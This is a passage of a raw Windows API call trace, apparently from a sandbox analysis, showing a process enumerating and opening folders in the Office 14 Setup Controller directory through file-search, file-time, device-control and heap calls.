returned 0xeec310 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.395] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0049.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9e00 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec418 [0049.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9e20 [0049.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec520 [0049.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.396] GetLastError () returned 0x12 [0049.396] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.396] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0049.396] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.397] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.397] GetLastError () returned 0x12 [0049.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.397] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.398] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.398] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.398] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0049.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0049.403] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0049.403] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0049.404] NtClose (Handle=0x174) returned 0x0 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.404] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.404] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.404] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9e40 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec628 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.404] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.405] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9e60 [0049.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec730 [0049.405] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.405] GetLastError () returned 0x12 [0049.405] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.405] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.405] GetLastError () returned 0x12 [0049.405] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.405] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.405] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.405] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.405] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0049.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0049.464] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0049.465] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0049.465] NtClose (Handle=0x178) returned 0x0 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.465] RtlAllocateHeap 